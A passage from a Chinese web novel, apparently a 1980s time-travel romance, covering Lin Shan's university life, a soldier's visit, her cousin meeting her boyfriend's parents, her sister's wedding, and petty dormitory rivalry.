陈小娟再同意不过了，她蹲下摸着清澈的湖水，感叹道：“京市真的好漂亮啊。” 林珊点点头，确实很漂亮，有种很大气的祥和感。望着这熟悉又陌生的一切，她真的有一种穿越时空的感觉，很奇妙，很让人怀念。 三个人走走停停，在城中心逛了很长时间，回到学校的时候天色已经要黑下来了。 “林珊？”她们刚走到宿舍楼门口，身后就传来一个声音。 林珊循声望去，发现贺正岩正站在宿舍楼旁边的一颗柏树下面，冲她招手。 “贺大哥！”她让徐娟和陈小娟先上楼，自己立刻跑了过去。 贺正岩见她瞧见自己之后很开心，心里也非常高兴，刚才站在楼底下他还有点儿忐忑，觉得就这么找过来是不是有些唐突了。 “你放假了？”林珊站定之后，笑盈盈地问他。 贺正岩点点头，“回来看看家人。” 林珊明白了，看看家人，再顺便看看她？“你等很久了吧？” “不算久，今天跟同学出去玩儿了？”贺正岩其实等了将近一个下午，他来之前打过她信里留的那个电话，接线的大娘说她不在，一大早就出去了。他又只剩这半天假，明天一早得赶回汉州，所以就想着过来碰碰运气，没想到还真等到了。 “嗯，我们刚军训完，想出去看看首都。”林珊笑着把今天逛过的地方都说了。 贺正岩乐道：“豆汁儿你不喝就对了，那玩意儿像馊水。” 林珊重重地点头，不能更同意了，“对了，你吃饭了吗？” “吃了。”在清大校食堂买了俩包子垫了垫肚子，味道还行，就是跟“爱国肉包”没有可比性。 林珊放下心来，笑着问他：“我寄的信你收到了吧。” 贺正岩点头：“收到了，学校生活适应不适应？” “适应，都挺好的。来京市之前我打电话给你，接线员说你抗洪去了，现在那边的情况应该已经稳定了吧。” 贺正岩：“都稳定了。” 林珊突然想起住院的时候，在他身上看见得那些疤痕，“你没受伤吧。” 贺正岩摇头，在他眼里不到躺床上不能动，就都不叫受伤。 这次汉北省洪涝灾害严重，他率领的队伍圆满出色的完成了抢险救灾任务，全员得到了部队的嘉奖。再加上在之前的演习中大胜红方，按理说是够格继续往上升的。 但是由于他已经升到了团长的位置，上头旅长也是刚上任，那就意味着他干得再好，几年内都不太可能往上动了。而且最关键的是，他跟省军区的领导在改革方向上的看法分歧很大。 这次回京市，除了给爷爷奶奶扫墓，看一下家人外，还有一大部分原因是军区的大领导要见他。 一见面，领导也没拐弯抹角，直接说省里嫌他是刺头，不好管，让人家倍感压力，不利于团结。 贺正岩明白这是想把他弄走的意思，他本人在哪儿都无所谓，从18岁当兵开始，边境待过，山沟沟后待过，从来都不在乎在哪儿服役。不过问题和原则不能变，他当即把省里的问题罗列了一箩筐。 领导听得直摇头，拍着他的肩膀说：“正岩啊，你说的这些问题，在哪儿都有，不单是省里的问题。不过有一点我跟老柳的看法不同。我赞成全面改革，咱们需要动大刀子。现在人太多了，装备武器又落后，发展方向和重点必须有所调整。” 贺正岩见大领导这么想，也不藏着自己的对于改革的想法了，一口气把那些琢磨了一遍又一遍的事儿全倒了出来。 领导越听眼睛越亮，最后索性直接透露了改革委员会明年要大刀阔斧开干的消息，还问他：“我把你调回来参与改革的工作，有没有信心能圆满完成任务？” 贺正岩当然有了，这是他梦寐以求的工作。 在来之前他就知道自己可能会被调离省城，原本想着大概会到其他省份，结果领导竟然直接让他回来参与改革的工作。 贺正岩怎么可能不兴奋，当即保证誓死完成任务。 调职的事儿大概要到明年三月初下文件，怕中间有变化，他现在也不好跟林珊说，而且就这么把自己的事儿说出来，也挺突兀的。 “对了，有件事儿我想跟你说声谢谢。”林珊自从在杨老太家知道他找人保护自家之后，就一直想当面跟他道谢。 贺正岩想不出有啥事儿能让她这么郑重，表情这么严肃认真。直到听了解释后，他才恍然大悟，“不用客气，我答应过你哥要照顾你们。” 他嘴里这么说着，耳朵却不由得发烫，心里多少有点儿虚。以前这么说是实实在在的，单纯为了 已故的战士照顾她们，现在……可就不单单是那么回事儿了。 林珊看出他的心虚来了，赶紧低头掩饰住自己想笑的神情。这人挺有意思的，话虚不虚一眼就能看出来，也不知怎么的，她突然想起上次他信里写的那些童年趣事，于是笑着问他：“知了猴好吃吗？” “啊？”贺正岩不明白她怎么突然跳到这儿了，怔愣过后，回想了一下味道，点头道：“挺好吃的。跟肉不一样，有种特别的香味儿。” 林珊难以想象，不过看他一脸的美好回忆，笑着说：“那你现在看见知了猴，不会还想把它们抓来炸了吧？” 贺正岩乐了，他还真有这种冲动，一旦认定某种东西是美味的食物之后，看见它们就会产生自然的反应。不过他觉得更好笑的是，自己为啥会跟她在这儿讨论知了猴，难道她也喜欢？ 于是，他立刻说：“你要想吃，我下回抓给你。” “……”林珊脸上的笑瞬间僵硬了几分，但见他一脸的热情和期待，她又不好意思直接拒绝，于是勉强保持着微笑点了点头。 贺正岩很高兴，恨不得立刻抓给她，可惜现在已经九月中了，得等到明年才行。 第82章 第82章 林兰见家长 两人在楼下说了很大一会儿话, 直到天彻底黑下来之后，贺正岩才准备告辞。 “京市冬天风大，十一之后早晚温差大, 你注意保暖。”他叮嘱她。 林珊乖巧地点点头，“好, 谢谢贺大哥，你在部队也要注意身体。” 贺正岩“嗯”了一声, 掏出四十块钱给她，“这是给你姐和王军的礼钱, 到时候帮我上一下。还有, 十一回去的票，你现在就得抓紧时间买, 要是买不到, 就给我打个电话。” 林珊把钱收了, 替林红和王军谢了谢他，“好, 我知道了, 之前问过老师, 应该能买到票的。对了，我家公司装了电话，号码我已经写在之前的信上了，你以后直接打那个就行。” “好。”贺正岩点点头，感觉该交代的都交代得差不多了, 时间也确实不早了, “那……那就这样吧。以后有机会，我再来看你。” “好，谢谢贺大哥。”林珊含着笑冲他拜了拜手, 站在原地目送着他离开。 贺正岩长得是真高，走在校园的路灯下尤其突出，地上的影子都拉得比别人长，模样又帅气正派，吸引着路过的男男女女。 林珊不知道他这算不算是在追求自己，也不确定俩人目前是不是处在暧昧不明的阶段，她只是突然意识到，这个时期的青年真得挺不容易的，尤其是远距离的那种，想见上一面得跋山涉水，平时只能靠写信，电话也说不了几句。不容易啊。 送走贺正岩后，林珊回了宿舍。 徐青和陈小娟立刻围过来问她：“刚才那个人是谁啊！你对象不？” 林珊笑着摇头：“还不是对象。” 徐青立刻嘿嘿笑：“还不是？那就是他正在追求你咯！” 陈小娟见林珊笑而不语，肯定道：“一定是啦，我刚才只看了一眼，他穿得衣服像是正规军装，是不是军人啊？” 虽然现在的老百姓也经常穿军褂子，但是真正当兵的，衣服跟他们不一样，上头有标志。 林珊点点头，“他确实是军人。” “哇！”陈小娟很崇拜军人，笑着说：“我之前就想着你长成这样，得找什么样的对象才配得上啊，结果今天一看，你们俩简直就是郎才女貌嘛！” 徐青非常赞同，好奇得不用的了“就是就是！快跟我们说说咋回事儿，你这个预备对象是哪儿的，你俩咋认识的？” 林珊之所以这么形容跟贺正岩的关系，主要是想让她俩了解一下目前的真实状况。如果她不说实话，回答得决绝又清白，她们中要万一有人觉得贺正岩不错，想让她介绍认识一下，这就无比尴尬了。 一个闹不好，还会影响舍友间的团结，所以还是实话实说比较好。 不过她也没有过多的解释这中间的来龙去脉，只是简单说：“他是京市人，我哥生前跟他是一个部队的，就这么一来二去认识的。” “哦。”两人点点头，注意力一下就转移到林珊去世的哥哥上头。 于是三人之间的话题，自然而然地就成了分享彼此的家庭情况。 徐青是徽省人，家里都是电业局的工人，上头只有一个哥哥。徐小娟是浙省村里人，三个哥哥，就她一个闺女。爸爸是村支书，妈妈是妇女主任，哥哥们都在镇上生活，有开铺子的，有当工人的。 两人都属于家境不差的那种，本性也不是刚开始不熟的时候那么腼腆。毕竟这年头能考到清大来的，基本都属于有理想、有抱负又特别有能力的青年。 “诶，你们感觉张丽丽家是干什么的？”徐青小声问。宿舍这会儿就她们三个，张丽丽放假回家还没返校，估计应该要到周一早上才会回来。 “不知道，反正肯定很有钱。你们看见没？报道那天，她爸妈是开着小轿车来送她的！”陈小娟现在想起来还是震惊无比。 林珊摇摇头，她也不知道张丽丽家是干什么的。不过小公主的吃穿用度奢华得都不像这个年代的，可想家里得有多趁钱。 而在这个年代就能赚到大钱的，必定是那些门路很硬的家庭。张丽丽虽然骄纵，但学习好，平时没事儿老爱抱着本儿英文小说看，随身听这种高级东西她都有，还随处乱放。再加上他父母对她虽然宠，但说话办事都不是那种嚣张跋扈的做派，拜托宿管老师时候的用词也挺讲究，因此林珊推断，张丽丽的家庭出身一定很高。 对于这种人，林珊一向敬而远之。只要不触及底线，她平时爱耍点小脾气，使些小性子什么的，都无关紧要。毕竟她上清大是想拓展人脉关系，而不是搞对抗的。 正式开学后的日子，过得飞快。 林珊除了上课下课，跟教授们打好关系之外，一有时间就往学校外头跑。她要考察一下京市个体户的发展情况，尤其是服装业。 最繁华的商业街上头，店铺琳琅满目。不过专门卖衣服的商店没看见，只在百货大楼里看见了售卖服装。款式竟然跟安河百货公司的差不多，可见这个年代的审美有多一致。 从粤城进的那些货拿到这儿来，肯定照样大卖。不过在勇闯京市之前，她还是要先在安河开一家店，找一找模式，吸取一下经验教训，稳定一下供货渠道。 林珊这边每天都忙得不亦乐乎，林兰也终于等到了要见未来公婆的日子。 她这段时间一直在准备，一边从报上搜集贺爸爸讲过的话，一边从贺启明那里打探消息，分析对方是什么样的人，应该怎么样投其所好。 贺妈妈在□□门工作当领导，对这方面林兰还是比较有信心的，自己这么多年苦学的文学素养，正好能派上用场。现在最关键的是搞定贺爸爸。 头一次见这么位高权重的人，不慎重不行啊。 贺启明都快被她问烦了，“你用不着这么小心，他们俩不吃人，跟你我一样要吃喝拉撒。再说了，你是我喜欢的人，他们肯定也会喜欢，心放肚子里就行了，一切有我呢。” “好啦，我这不是紧张嘛。”林兰搂着贺启明的胳膊，好好感谢了他一番，心里决定还是用不卑不亢这一招最靠谱。 次日，贺启明带着林兰登门。 林兰买了一些简单的水果，这样既合礼数，又符合她学生的身份。她身上穿了一件崭新的白衬衫，配深蓝色裤子，头发是两个麻花辫。非常传统干净的打扮，却跟她小家碧玉的气质非常搭。 正好贺启明也是白衬衫配蓝裤子，俩人肩并肩一进门，瞬间给人一种很相配的感觉。 这是贺启明第一次提出要带对象回家，贺振华虽然很忙，却也被张秀英硬拉着挤出了一些时间。 两口子本来以为儿子喜欢的，肯定是那种明艳动人，让人错不开眼珠子的类型，结果一进门倒是让他们意外了。 小姑娘长相清秀，穿着朴素，笑起来特别腼腆，看得出人很紧张。崭新的衬衫，和输得的一丝不苟的 头发，透露出她对这次见面的重视。 嗯，不错。 两人对林兰的第一印象不错。 在听完她有些发颤的自我介绍过之后，张秀英忍不住在心里给她加分，普通话没有口音，语速不急不缓，虽然很紧张，但条理却非常清晰。 “来来，小兰别客气，吃点儿水果。”张秀英把水果盘往林兰面前让了让。 “谢谢阿姨。”林兰礼貌地颔首致谢，小心翼翼地从边上拿了个小橘子。她旁边的贺启明则不客气地拿起大桃子，美滋滋地啃了起来。 贺振华扫了贺启明一眼，看得出这臭小子很开心。 张秀英一边削着苹果，一边笑着跟林兰话家常：“听启明说你比她小一届。” 林兰：“是的，我今年大三。” 贺启明非常自豪地插话：“她年纪第一，大一大二都是，几年肯定也不会例外！” “是吗？”张秀英有些惊讶，随即笑着点点头：“能从地方考到人大，还能年年第一，说明你真是好样儿的！” 林兰礼貌又谦虚摆摆手，一副“虽然被夸了很开心，但是真心不觉得自己有多厉害”的模样，真诚地说：“我才刚学到一些皮毛，以后还要更加努力才行。启明在学业上帮了我很多，他对法律的认识，值得我们系所有学生学习。” 贺启明学习确实好，而且也的确帮她指导过不少问题，这点倒是说得实事求是。 听见儿子被夸，就没有不开心的父母，即使对方是自己儿子的对象，那脸上的崇拜做不了假，眼里的真诚也做不了假，张秀英顿时对林兰的好感，又上升了一级。 就连贺振华都在心里暗暗点头：这小子虽然有时候分寸拿捏得不好，不过在学业方面确实还行。 张秀英又问林兰：“怎么想起学法律了，以后毕业有什么打算吗？” 林兰有点儿不好意思，“我之前是一心想要进检察院或者法院的，总觉的只有自己亲身加入司法队伍，才叫做参与法治建设。后来随着了解的东西越来越多，我开始觉得也许往上继续深造，才能更好得开拓视野，掌握更加全面的知识体系。构建一个符合我国国情的法律制度，同样也是在进行法治建设。” 张秀英点点头，心里十分满意。 女同志在司法部门里相对弱势，而且如果将来林兰真跟自己儿子成了，她也不希望儿媳妇天天在外头跑。留在大学继续深造，将来当个老师就非常好。 贺振华对一个小姑娘的职业选择，不甚在意，不过听到她想为法治建设做出自己的贡献，他心里还是很赞赏的。 第83章 第83章 林红出嫁 林兰的初次登门, 非常成功。 张秀英当天晚上就跟贺启明说，小姑娘不错，让他好好跟人家处。贺振华虽然没说什么, 不过他没有反对，那就代表同意处下去了。 贺启明得意的很, 大言不惭地对父母吹牛：“我看上的姑娘，一定是全世界最优秀的！” 贺振华看不惯他这幅样子, 一脚把他踹回了学校。 贺启明回去之后，跟林兰一说, 她一直悬着的心算是安稳了不少。好得开始是成功的一半！接下来她更要好好地表现自己, 争取在贺启明毕业的时候，俩人能成功领证结婚。 …… 十月一日很快就到了, 86年的时候全国还只放三天假。 林珊为了能稍微躲开一下人流, 9月30号下午, 就坐着火车回安河了。 赵桂花和林红早早地等在火车站，一见她从上面下来, 立刻就搂着人不撒手, 好像林珊离开了多久似的。 王军在一旁都忍不住笑了, 这满打满算也就一个月吧。 娘仨从车站一路聊回家，直到进门都还没尽兴，一直围在一块儿说个不停。赵桂花和林红对林珊的大学生活跟京市的一切，都无比好奇。 “……天啊，那么厉害啊！一个大学竟然比大河村还大！”赵桂花惊叹不已, 要知道大河村在西郊已经算是大村了, 她实在不敢想全首都能有多大。 “怪不得人家都想去清大啊。”林红也惊讶得不行，学校盖得比村子还大，里头肯定有很多学知识的教室, 人肯定也少不了。 在得知林珊那个计算机系有这么多人之后，她更是感慨道：“这天底下的能人好多啊。咱安河就没几个知道计算机是什么的，你们学校居然能招到那么多人，真是了不得！” 赵桂花对食堂更感兴趣，“我听你这么说，感觉那食堂的饭也不贵啊，我以为首都啥贵着呢。” 林珊解释了一下大学食堂便宜是因为面向的是学生，没有参考价值，外头的物价确实比安河贵不少。毕竟86年京市的平均工资将近100元，而安河才40多左右。差距还是很大的。 而且京市核心区域的一切东西，价位都高得惊人，店铺租金在这个年代来看几乎是天价。 “咱等过一阵你们去玩儿的时候，咱再一起去逛逛故宫，爬爬长城。”林珊笑着提议。 赵桂花确实想去，家里现在不缺钱，京市离得也近，再一听闺女说首都这也好那也好的，她就更心动了。 王军见林红满脸的期待，他也提议道：“那这样吧，找个时间咱一块儿开车去，把我妈也叫上。” “好，最好明年四月份去。”林珊算了算，放寒假的时候，她要跑粤城进货，在安河开个大服装店，根本没时间。大概要等开学之后，才能抽出时间陪他们逛逛了。 “好，那就暂时定明年四月份，正好京市也不冷了。”王军说完，满脸期待地冲林红笑了笑。还有三天他们就要结婚了，感觉真得有点儿度日如年啊。 林红对婚礼是既期待，又有点儿紧张。毕竟要开始新的生活了，婚后她就得搬到王家去住，虽然那房子她也不陌生，但嫁出去的人毕竟是不一样的。 家里就剩母亲一个人，她也有点儿不放心。甚至想过让赵福一家住进来，陪着也能安全点儿。不过很快她就打消了这个念头，赵福两口子也都忙，而且家里也都安排得妥妥当当的，住进来人家会觉得不方便。 赵桂花本人对这个倒是看得很开，她白天在公司忙着收钱算账，有事儿没事儿还得跑各个店铺去看看，夜里回来就只想呼呼大睡，根本没有功夫觉得冷清。 再加上自家房子就在派出所正后头，左右邻居也都非常熟悉，大家都是有正经工作的人，也不差钱，院墙院门又这么高，别提多安全了。 再说林珊又从来不让她把大钱放家里，所以安全根本不是问题。人家杨老太太之前能一个人在这儿住这么久，她也能。 林珊理解林红的担忧，她其实也有点怕两个闺女都不在家，桂花女士会孤独。但是一想白天她能跟林红在公司待一天，王军家又不远，应该慢慢的也就适应了。 毕竟人总要长大，即使约定好了要一起干事业，也不可能时时刻刻都黏在一起的。 晚饭赵桂花和林红做了一大桌子菜，全是林珊爱吃的。如果说她在清大这一个月最想念什么，那一定是家里的味道。曾经快要吃烦了的包子，现在也觉得特别美味。卤肉和卤菜就更不用说了，香得她想立刻在京市开店。 林红和王军的婚礼定在3号，这年头不像后世，什么都能交给婚庆公司。两家人两个礼拜前就开始正式准备了。由于双方认识的人多，算了算宴席至少得三十二桌才能请的下客人。 按照这个时候的习俗，男方和女方家要各自办各自的宴席，各自请各自的客人。这年头几乎没有去饭店结婚的，一般都是在家里办事儿，然后雇几个专门给婚宴做饭的厨子，剩下的全靠亲戚朋友帮忙。 王大 娘和赵桂花原本也打算这么办，后来是王军担心人多摆不下那么桌，就提议找个单位的大食堂，请上两班厨子，两家在一块儿把婚宴办了。 赵桂花当时拿不定注意，还给林珊打了个电话。 林珊当然同意了，这样不用把家里弄得乱七八糟，也不用占用公共场所。两家人一块儿在一个大食堂里办，既热闹又省事儿。 至于礼钱的问题，就在房间两头各摆两张桌子，谁的亲戚给上礼就完了，完全就是现代婚礼的前身。 定了要在一块儿办婚宴之后，效率就高多了，不到两个星期，就把婚礼事宜全部都搞定了，只差3号那天美美得当新郎新娘就好了。 王军和林红都是二婚，他们俩其实是不好意思再收一份礼钱的，但是人家来参加婚礼，又不可能空着手，所以就把婚宴饭菜的档次拔高了一点儿，大鱼大肉好烟好酒，让大家吃喝都能尽兴。 林珊这次回来主要负责给林红化新娘妆，以及送嫁。这年头还不时兴叫伴娘，统一称呼为送嫁队伍，清一色的小姑娘。一共要八个人，一般都是从亲朋好友间叫来帮忙的。 林家亲戚不多，林珊直接把店里小姑娘都叫来了，三号那天“爱国大肉包”全门店歇业，所有员工放假一天。大家都有空来帮忙。 至于新娘妆，林珊决定要好好施展一下在后世打工时苦练的那些技术，给林红画一个符合她面容特点的绝美妆容，搞个优雅清新的盘发，再配上那身儿从粤城买回来的红套裙，绝对能惊艳所有人。 林红的气质属于清秀那一类的，脸盘子小小的，笑起来眉眼弯弯，给人很温柔的感觉。林珊决定结合一下八十年代流行的那种大气庄重的妆容，给她搞一个国风妆面。弯眉配红唇，既不失温婉，又不失个性。 二号夜里，林珊本来以为她们母女三人会抱在一块儿感叹人生，哭得稀里哗啦。结果由于这几天太累了，大家都早早地睡了。 三号良辰吉日，王军和林红的大喜之日。 鞭炮噼里啪啦地响着，迎亲队伍浩浩荡荡地敲门，林红闺房的大门紧闭，送嫁的姑娘们刁难了王军好一阵儿，要了他五个红包，总算把门给打开了。 王军一见坐在床边的林红，整个人都傻了，那模样太可乐，惹得满屋子欢声笑语。他的兄弟们赶紧把他晃醒，偷偷提醒他擦擦口水。 因为商量婚事的时候，两家就说过，不要闹得太狠，所以送嫁和迎亲的队伍，都很懂得分寸。整个场面既热闹好笑，又完全不会让人觉得不舒服。 接到亲，要拜拜女方父母才能走，赵桂花一个人坐在正位上，边接受他俩磕头敬茶，边哭得稀里哗啦。 不容易，红红这一路走来太不容易了，“你俩以后要好好的，谁也不许欺负谁，听见没有。” 赵桂花哭着交代，两人红着眼眶应声。 林红努力不让自己哭出来，因为林珊特地交代过她，绝对不能掉眼泪，不然状会花，她牢记着这句话，所以眼泪一打转，她就赶紧使劲儿往回憋。 好在只有出门的时候比较想哭，接下来都没有让她特别想流泪的冲动。 在王家正厅，磕完头拜完天地，林红正式嫁做人妇。 现在应该管王大娘叫妈了，王军的哥哥嫂嫂们也成了她的哥哥嫂嫂，王军正式成为了她的丈夫。门口一大帮孩子挤过来看她，叽叽喳喳地说着新娘子好漂亮啊。 林红有些害羞，又有些开心。这次她嫁得是喜欢的人，也是懂得珍惜她的人，一切都跟以前不一样了。 最重要的仪式完成之后，接下来就是去宴客吃饭了。 大食堂内，三十二桌宴席，满满当当全是人。 不仅林红和王军这对新人要挨着敬酒打招呼，所有帮忙的人都要帮着招呼客人。林珊觉得自己脚都快断了，脸都要笑僵了。短短两年时间，她们居然新认识了这么多人。 以后她要是结婚的话，绝对不会搞这么大，实在是太累了。 第84章 第84章 亲戚关系 三号夜里, 赵桂花和林珊睡得跟死猪似的。 第二天闹钟叫了林珊足足五分钟，才把她从床上叫起来。今天早上就得赶回京市，她再困也得打着哈欠起来洗漱。 赵桂花也没比她好到哪儿去, 满脸都是肿的，迷迷糊糊的给林珊做了顿早饭。 好在吃了个饭后, 两人都苏醒了过来。林珊昨晚跟赵福靠好了今天早上请他送自己去车站，给王军和林红这对新婚夫妻多一点儿时间和空间。 本来她也不打算让赵桂花去的, 可是桂花女士一算闺女一月份才能回来，这一去就得三个多月呢, 说什么也要硬跟着去。 4号的火车站人流少了一些, 林珊顺利地上车安顿好，跟亲人告别。 返校之后, 林珊把从家里带来的包子和熟肉都分给了徐青和陈小娟。两人一开始都以为是林珊在回学校的路上买的, 结果谁知竟然是她家自己店里的东西。 这不问不知道, 一问才知道原来她家开了那么多铺子。 之前聊彼此家庭的时候，她只说家里做点儿小买卖, 没想到居然是这种“小买卖”, 怪不得她好看的衣服那么多！去食堂吃饭的时候, 也天天打肉！ 三人围在宿舍的桌子上吃饭，饥肠辘辘的张丽丽准备回宿舍之后，拿起饭盒去打饭，结果一进门就被这香味儿给馋住了。 林珊见她朝这边看过来，大方地说：“我从家里带的包子和熟肉, 你要不要一块儿尝尝？” 张丽丽一听是她带的, 顿时撇了撇嘴，捏着鼻子嫌弃道：“我就说什么味儿啊，真难闻, 你们吃完别忘了把门打开透透气啊。” 说罢，她拿起自己桌上的饭盒就走了。 徐青一脸问号，“难闻？她怕不是鼻子不好吧？” 陈小娟无语，“还让咱把门打开，咱窗户开这么大，她看不见啊。平时把门看那么严，只要错开条缝儿，她就叽叽喳喳个没完，这会儿倒不怕吹风了？我看她就是对咱有意见。” 林珊笑了，“也许她不能闻肉味儿吧。” “我呸。”陈小娟瞪了张丽丽的床铺一眼，“她自己可没少在宿舍吃肉，那天还端着碗跑床上吃，我都怕她洒了滴我床上。” 林珊拍了拍陈小娟的肩膀，“算了，反正小公主住学校的时候少。” 徐青被林珊这句“小公主”给逗笑了，“你别说，她这脾气性格还真像个刁蛮公主的。” 陈小娟哼了一声，继续埋头吃饭，这么好吃的包子，她可不能让张丽丽给气饱了。 张丽丽虽然住校，但是每个礼拜也只有课多的时候才在宿舍睡，她家里估计跟学校打过招呼，查寝的老师从来都没说过什么。 林珊因此也得到一些灵感，这么看来，只要学习够好，又有些门儿，她就不用被困在学校了。 计算机系的课程对林珊来说非常简单，教授们对她的表现也是大加赞赏，虽然还没有考试，但是通过一些随堂提问和实操，就能看出哪些同学学得快，学得好。 张丽丽也确实很优秀，她虽然是个小公主，上课却格外认真，回答问题也非常积极。看得出老师们对她都很欣赏。 林珊自然也不会放过表现自己的机会，她只有碾压式的优秀，才能让学校和老师给予她更多的自由。所以一时间这一届计算机系的应用班，最突出的居然是两个女孩子。 男同学私下讨论，“你们觉得谁是咱计算机系的系花？” “肯定是林珊啊，这还用问？” “可是张丽丽也很好看啊。” “再好看也没有林珊好看。” “两人不一样，张丽丽更可爱一点儿，林珊……林珊看着特别孤傲清冷，让人不敢接近。” “呸！明明是林珊人更好更随和！真善美说得就是她，你小子是不是暗恋张丽丽？” “你、你你胡说什么呢！” “害羞了吧！” “我害你——” “诶诶诶，都别吵，都别吵！我宣布，张丽丽是系花！林珊嘛……是咱清大的校花！” “对！你说得太对了！一个系花，一个校花！咱计算机系就是厉害啊！” “牛！” 这些私下的讨论传到张丽丽的耳朵里时，气得她差点儿把随身听都摔了，凭什么她是系花，林珊是校花？！凭什么？ 张丽丽气得跟朋友吐槽完，跟爸妈吐槽，就连周末下午出来跟表哥贺启明和他对象吃饭，她都忍不住吐槽学校的事儿。 “你们这些男生真讨厌！眼瞎，没有品味！” 贺启明听了半天，原来就因为一个系花、校花搞得这么不开心，一时有些无语，“丽丽，你也老大不小了，人外有人天外有天，没听说过啊？” “哼。”张丽丽使劲切着牛排，替自己解释，“哥，你不懂，要是别人也就算了。这个林珊从一入学——” “林珊？”林兰以为自己听岔了。 “嗯，林珊，怎么了小兰姐，你认识她啊？”张丽丽心想不会这么巧吧，自己认识的人有这么少吗？要是林珊跟林兰认识，那就尴尬了，刚才她还说了她那么多坏话。啊！不对，都姓林，该不会是亲戚吧？！ 林兰柔声确认着，“长得高高瘦瘦的，老家是安河的？” “嗯，好像是安河——”张丽丽捂住嘴，她记得表哥说过，林兰好像也是汉北省安什么地方的，天，该不会俩人真是亲戚吧。 林兰确认是林珊之后，心里非常开心，得罪张丽丽可不是什么好事儿，不过她面上仍然作出一副惭愧的模样，小声道：“她是我堂妹。” “……”张丽丽刀叉也放下了，心想这是什么孽缘啊。怎么办，刚才她好像确实说了不少难听的话。表哥跟小兰姐处得这么好，这以后要是结婚了，她跟林珊岂不是成了拐着玩儿的亲戚了嘛！ “小兰姐，哥，那个……” “我们俩虽然是亲戚，但是家里关系并不好。”林兰知道张丽丽想圆场，于是善解人意地把林富贵两兄弟的矛盾说了出来，“……所以我爸就老想着要报复我二叔，去年他人没了之后，我跟启明去她家道过歉，之后就再也没有联系了。后来隐约听邻居说过，她好像考上清大了。没想到你们俩居然是同学，这也实在是太巧了。” 张丽丽点点头，谁说不是呢，不过知道两家关系不好，她也就放心了。以后不用捏着鼻子跟林珊相处，简直就不幸中的万幸。 贺启明安静了一会儿，突然来了句：“她居然考到清大了？” 震惊，实在是震惊。他自己也才考了个人大，林家这家门是不是出文曲星啊。 林兰一听他提林珊，警惕性瞬间就上来了，面上却还是温柔地笑道：“是，她在家复习了两年多吧，今年考得非常不错。” 贺启明点点头，虽然复习了两年，但是能考到清大，也算很有本事了。再结合林珊那惊人的容貌，即使就见过一次，他仍然记得那种震撼，所以贺启明觉得这校花人家当得起。 于是，他就劝起了自己的表妹，“什么校花系花，争这些有什么用，你们俩应该比比谁成绩好，你不是说你们系出国深造的名额非常少，分到每个班就一个人？拿到这个不比那些没用的校花重要？” 张丽丽眼睛一亮，她怎么把这茬给忘了，“哥！你说得对，是我狭隘了。再漂亮也不能当饭吃，争这些外在的东西确实没有用。我要跟她比先进！” 贺启明笑了，“这就对了，赶紧吃饭吧。” “嗯嗯。”张丽丽拿起刀叉，一边切着牛排，一边幻想着自己胜利的那天，心情好得不得了。 林兰不着痕迹地看了眼这享用牛排的兄妹俩，心里挺复杂的。一方面开心贺启明不是那种觉得外表就是一切的人，一方面她又不想让张丽丽这么简单就放过林珊。 她们两个人的矛盾越深，自家跟林珊家的决裂就显得更占理，林富贵的罪也就会跟着被淡化一些。毕竟贺启明的爸妈，还没有完全了解到她的家庭情况，她得为自己多争取一些有利的条件才行。 不过，她相信以张丽丽什么都要当第一的性格，很难会跟林珊真正的和平共处。也许等矛盾激化到不可收拾的时候，她再添上一把火，林珊这个贱人就能彻底被解决了。 想通了这点，她这顿饭吃起来就很舒心了。 这年代能动不动就在外国餐厅吃饭，很明显的，她已经跟林珊不是一个级别的人咯。 不知道自己变成了低级别人士的林珊，此刻挺开心的。 她不但收到了贺正岩寄来的包裹，还收到了他母亲姜春荣从西北寄来的信。 姜阿姨的信很简洁，祝贺她考上清大，如愿进入了计算机系，另外还列了一些教授的名单，让林珊遇到任何难题可以去请教他们。这里头居然还包含京大和其他大学的教授。 林珊感动得不知道该说什么好，决定打完电话就让家里再寄一箱吃的去西北。 信的最后，姜阿姨让她生活中有任何问题，就去找贺正岩。他这边熟，有事儿基本都能解决。另外也请她有空的时候，多跟贺正岩联系一下，省得他一个人在汉州无聊。 林珊笑了，不知道贺正岩的心思之前，她会以为这是很正常的礼数。现在懂了之后再看，就能明白这是一位母亲，在为自己的儿子制造机会。 怎么办，突然觉得这母子俩都有点儿可爱。 第85章 第85章 粤城进货 跟姜春荣不同, 贺正岩的信……好长。 上回两张半，这回直接飙到四张。 林珊想着他不会又写了一大堆“童年趣事”吧，打开一瞧, 果然如此。内容还是跟动物有关，只不过这次的故事地点, 发生在了他姥姥姥爷家。 林珊边看边笑，感觉他要是再多写几封, 她就能拼出一个鲜活又完整的小贺正岩了。 包裹里寄的依然是些罐头奶粉苹果和汉州糕点之类的，容易保存, 方便食用。 林珊现在不在家, 给他回寄东西也不是很方便，寄些京市特产的话有点儿奇怪, 他本来就是京市人, 有啥没吃过的。所以想来想去, 还是送些他爱吃的包子和熟肉比较好，正好赵福最近在省城开设新的加盟店, 请他跑一趟最合适了。 …… 日子一天天过, 在清大的生活, 是林珊穿来这个世界之后，过得最为轻松的。 每天除了上上课，参加一下活动，认识一些朋友，就是出去考察市场。时不时再给家里打个电话, 交流一下生活和生意。贺正岩总是在收到她的回信之后, 立即回电话过来。 聊得内容很寻常，就是些收到了，你好不好, 之类的。要说两人之间的关系有什么进展，那就是打电话的时候，多了一些贺正岩的童年趣事来活跃气氛，让彼此都挺开心的。 三个半月转瞬即逝，林珊迎来了进入清大之后的第一个期末考试。 林珊自然是信心十足，一直在跟她较劲的张丽丽同样非常有信心，她发誓一定要在期末考试中拿下第一，好狠狠地杀杀林珊的锐气。 林珊虽然平时很少跟张丽丽说话，但是从对方的举动中不难看出，这小姑娘已经彻底把她当成了眼中钉，预备在各方面比试一下。 林珊 每次看见她，都有种自己在欺负小孩儿的感觉，毕竟她在后世早就学过一遍了，要不是为了拿到自由出入学校的通行证，她也没有必要争这个第一。 不过竟然局面已经形成，那就只好顺其自然了。 计算机系的考试内容很简单，但是那些公共课，林珊还是花了一些功夫来重新记的。 考完最后一门的时候，张丽丽满脸笑意地冲她拜拜，表情非常明显，一副“我赢定了”的样子。林珊突然有点儿想笑，这也许就是青春的活力吧。 考试前林珊就买好了回家的票，并在最后一场考试之前，就把行李都收拾好了，只要一出考场，她拿上行李就能前往火车站。 徐青和陈小娟比她还心急，前一晚就都收拾好了。毕竟林珊离得近，中途还回去过一趟，她们可是实打实在学校待了一学期了。 寒假回安河的火车上，虽然人也不少，但至少不用被站票乘客给团团围住。三个小时后，一下火车，林珊就看见她妈她姐和上任没几个月的姐夫了。 